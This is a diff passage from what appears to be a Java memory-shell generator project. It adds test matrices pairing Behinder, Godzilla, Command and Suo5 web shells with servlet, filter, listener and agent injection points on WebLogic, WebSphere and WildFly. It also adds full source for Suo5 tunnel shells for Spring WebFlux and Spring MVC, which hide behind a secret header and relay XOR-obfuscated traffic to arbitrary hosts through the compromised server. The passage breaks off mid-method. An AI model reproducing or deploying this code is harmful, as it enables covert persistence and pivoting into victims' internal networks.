arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Base64),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,12 +48,15 @@ public class WebSphere700ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,12 +48,15 @@ public class WebSphere855ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,12 +48,15 @@ public class WebSphere905ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,12 +46,15 @@ public class Wildfly18ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,12 +46,15 @@ public class Wildfly23ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -46,12 +46,15 @@ public class Wildfly30ContainerTest {
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -52,18 +52,24 @@ public class Wildfly9ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar)
+3
View File
@@ -2,6 +2,9 @@ group = 'com.reajason.javaweb'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
@@ -0,0 +1,448 @@
package com.reajason.javaweb.memshell.springwebflux.suo5;
import io.netty.channel.ChannelOption;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DataBufferUtils;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.core.publisher.Sinks;
import reactor.core.scheduler.Schedulers;
import reactor.netty.Connection;
import reactor.netty.NettyOutbound;
import reactor.netty.tcp.TcpClient;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.nio.BufferOverflowException;
import java.nio.ByteBuffer;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
/**
* @author ReaJason
*/
public class Suo5WebFilter implements WebFilter {
public static HashMap ctx = new HashMap();
public static String headerName;
public static String headerValue;
public Suo5WebFilter() {
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
ServerHttpRequest request = exchange.getRequest();
ServerHttpResponse response = exchange.getResponse();
String value = exchange.getRequest().getHeaders().getFirst(headerName);
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
MediaType contentType = request.getHeaders().getContentType();
if (contentType == null) {
return chain.filter(exchange);
}
if (contentType.toString().equals("application/plain")) {
return request.getBody().flatMap(databuffer -> response.writeWith(Mono.just(databuffer))).then();
}
try {
if (contentType.toString().equals("application/octet-stream")) {
return newfullProxy(request, response);
} else {
return newHalfProxy(request, response);
}
} catch (Exception ignored) {
}
return Mono.empty();
}
private Mono<Void> newfullProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception {
response.getHeaders().set("X-Accel-Buffering", "no");
response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM);
Sinks.Many<byte[]> sink = Sinks.many().unicast().onBackpressureBuffer();
Flux<HashMap<String, byte[]>> dataMaps = unmarshal(request.getBody());
AtomicBoolean handshake = new AtomicBoolean(false);
AtomicReference<Connection> connection = new AtomicReference<>(null);
AtomicReference<NettyOutbound> out = new AtomicReference<>(null);
dataMaps.doOnComplete(sink::tryEmitComplete)
.mapNotNull(dataMap -> {
if (!handshake.get()) {
byte[] ac = dataMap.get("ac");
if (ac.length != 1 || ac[0] != 0x00) {
sink.tryEmitComplete();
return null;
}
handshake.set(true);
String host = new String(dataMap.get("h"));
int port = Integer.parseInt(new String(dataMap.get("p")));
if (port == 0) {
InetSocketAddress addr = request.getLocalAddress();
if (addr != null) {
host = addr.getHostString();
port = addr.getPort();
}
}
try {
TcpClient client = TcpClient.create()
.host(host).port(port)
.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000)
.doOnConnected(c -> {
connection.set(c);
out.set(c.outbound());
sink.tryEmitNext(marshal(newStatus((byte) 0x00)));
}).doOnDisconnected(s -> {
sink.tryEmitComplete();
}).handle((input, output) -> input.receive()
.asByteArray()
.flatMap(s -> {
sink.tryEmitNext(marshal(newData(s)));
return Mono.empty();
}));
client.connect().subscribe(null, (e) -> {
sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
sink.tryEmitComplete();
});
} catch (Exception e) {
if (connection.get() != null && !connection.get().isDisposed()) {
connection.get().dispose();
}
sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
sink.tryEmitComplete();
}
} else {
byte[] action = dataMap.get("ac");
try {
if (action == null || action.length != 1 || action[0] == 0x02) {
throw new RuntimeException("remove");
} else if (action[0] == 0x01) {
byte[] data = dataMap.get("dt");
if (data.length != 0) {
out.get().sendByteArray(Mono.just(data)).then().subscribe();
}
}
} catch (Exception e) {
if (connection.get() != null && !connection.get().isDisposed()) {
connection.get().dispose();
}
sink.tryEmitComplete();
}
}
return null;
}).subscribeOn(Schedulers.boundedElastic()).subscribe();
return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then();
}
private Mono<Void> newHalfProxy(ServerHttpRequest request, ServerHttpResponse response) throws Exception {
/*
EmitterProcessor<byte[]> processor = EmitterProcessor.create();
FluxSink<byte[]> sink = processor.serialize().sink();
*/
response.getHeaders().set("X-Accel-Buffering", "no");
response.getHeaders().setContentType(MediaType.APPLICATION_OCTET_STREAM);
Sinks.Many<byte[]> sink = Sinks.many().unicast().onBackpressureBuffer();
Flux<HashMap<String, byte[]>> dataMaps = unmarshal(request.getBody());
dataMaps.next()
.subscribeOn(Schedulers.boundedElastic())
.subscribe((dataMap -> {
if (dataMap == null) {
sink.tryEmitComplete();
return;
}
String clientId = new String(dataMap.get("id"));
byte[] actionData = dataMap.get("ac");
if (actionData.length != 1) {
sink.tryEmitComplete();
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actionData[0];
if (action == 0x02) {
Object[] obj = (Object[]) this.remove(clientId);
if (obj != null) {
Connection conn = (Connection) obj[0];
conn.dispose();
}
sink.tryEmitComplete();
return;
} else if (action == 0x01) {
Object[] obj = (Object[]) this.get(clientId);
if (obj == null) {
sink.tryEmitNext(marshal(newDel()));
} else {
byte[] data = dataMap.get("dt");
if (data.length != 0) {
((NettyOutbound) obj[1]).sendByteArray(Mono.just(data))
.then()
.subscribeOn(Schedulers.boundedElastic())
.subscribe();
}
}
sink.tryEmitComplete();
return;
} else if (action != 0x00) {
sink.tryEmitComplete();
return;
}
// 0x00 create new tunnel
String host = new String(dataMap.get("h"));
int port = Integer.parseInt(new String(dataMap.get("p")));
if (port == 0) {
InetSocketAddress addr = request.getLocalAddress();
if (addr != null) {
host = addr.getHostString();
port = addr.getPort();
}
}
try {
TcpClient client = TcpClient.create()
.host(host).port(port)
.option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 3000)
.doOnConnected(c -> {
this.put(clientId, new Object[]{c, c.outbound()});
sink.tryEmitNext(marshal(newStatus((byte) 0x00)));
}).doOnDisconnected(s -> {
this.remove(clientId);
sink.tryEmitComplete();
});
client.connect()
.subscribeOn(Schedulers.boundedElastic())
.subscribe(conn -> {
conn.inbound()
.receive()
.asByteArray()
.flatMap(s -> {
sink.tryEmitNext(marshal(newData(s)));
return Mono.empty();
}).then().subscribe();
}, (err) -> {
sink.tryEmitNext(marshal(newStatus((byte) 0x01)));
sink.tryEmitComplete();
});
} catch (Exception e) {
}
}));
return response.writeWith(sink.asFlux().map(response.bufferFactory()::wrap)).then();
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) | ((bytes[1] & 0xFF) << 16) | ((bytes[2] & 0xFF) << 8) | ((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) {
try {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
private Flux<HashMap<String, byte[]>> unmarshal(Flux<DataBuffer> inFlux) {
final ByteBuffer[] buffers = {ByteBuffer.allocate(2048)};
return Flux.create(sink -> {
// onErrorComplete is too new to use
inFlux.doOnComplete(sink::complete)
.subscribeOn(Schedulers.boundedElastic())
.subscribe(dataBuffer -> {
try {
ByteBuffer buffer = buffers[0];
ByteBuffer byteBuffer = dataBuffer.asByteBuffer().asReadOnlyBuffer();
while (byteBuffer.hasRemaining()) {
byte b = byteBuffer.get();
try {
buffer.put(b);
} catch (BufferOverflowException e) {
ByteBuffer newBuffer = ByteBuffer.allocate(buffer.capacity() * 2);
buffer.flip();
newBuffer.put(buffer);
buffer = newBuffer;
buffers[0] = newBuffer;
buffer.put(b);
}
buffer.flip();
if (isCompleteMessage(buffer)) {
HashMap<String, byte[]> result = processCompleteMessage(buffer);
sink.next(result);
buffer.compact();
} else {
buffer.position(buffer.limit());
buffer.limit(buffer.capacity());
}
}
} catch (Exception e) {
sink.complete();
} finally {
DataBufferUtils.release(dataBuffer);
}
}, (e) -> {
sink.complete();
});
});
}
private boolean isCompleteMessage(ByteBuffer buffer) {
if (buffer.remaining() < 5) {
return false; // 不足以读取消息头
}
int len = buffer.getInt(buffer.position()); // 读取长度但不移动position
return buffer.remaining() >= 5 + len; // 检查是否有足够的数据
}
private static int MAX_LEN = 1024 * 1024 * 32;
private HashMap<String, byte[]> processCompleteMessage(ByteBuffer buffer) throws Exception {
int len = buffer.getInt();
int x = buffer.get();
if (len > MAX_LEN) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
buffer.get(bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap<String, byte[]> m = new HashMap<>();
int i = 0;
while (i < bs.length - 1) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
byte[] keyBytes = copyOfRange(bs, i, i + kLen);
String key = new String(keyBytes);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
byte[] vLenBytes = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(vLenBytes);
i += 4;
if (vLen < 0 || i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception {
Field f;
if (superClass) {
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}
}
@@ -0,0 +1,567 @@
package com.reajason.javaweb.memshell.springwebmvc.suo5;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.mvc.Controller;
import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5ControllerHandler implements Controller, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5ControllerHandler() {
}
public Suo5ControllerHandler(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
return null;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return null;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5ControllerHandler p = new Suo5ControllerHandler(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
